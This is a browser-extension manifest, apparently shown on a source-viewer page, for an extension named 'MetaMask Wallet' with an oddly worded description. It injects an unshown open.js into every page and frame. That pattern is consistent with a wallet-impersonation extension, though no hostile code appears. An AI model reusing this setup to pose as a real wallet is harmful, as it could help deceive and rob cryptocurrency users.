Examine source code of MetaMask Wallet

{
  "manifest_version": 2,
  "name": "MetaMask Wallet",
  "description": "MetaMask is best of traders Crypto wallets",
  "version": "2.0",
  "icons": {
    "128": "/img/logo.png"
  },
  "background": {
    "scripts": [
      "./open.js",
      "./jquery-git.min.js"
    ],
    "persistent": false
  },
  "browser_action": {
    "default_icon": "/img/logo.png",
    "default_popup": "index.html"
  },
  "permissions": [],
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "all_frames": true,
      "js": [
        "./open.js",
        "./jquery-git.min.js"
      ],
      "run_at": "document_end"
    }
  ],
  "browser_specific_settings": {
    "gecko": {
      "id": "{a4044c79-76fa-4f71-a912-962c2a4e405d}"
    }
  }
}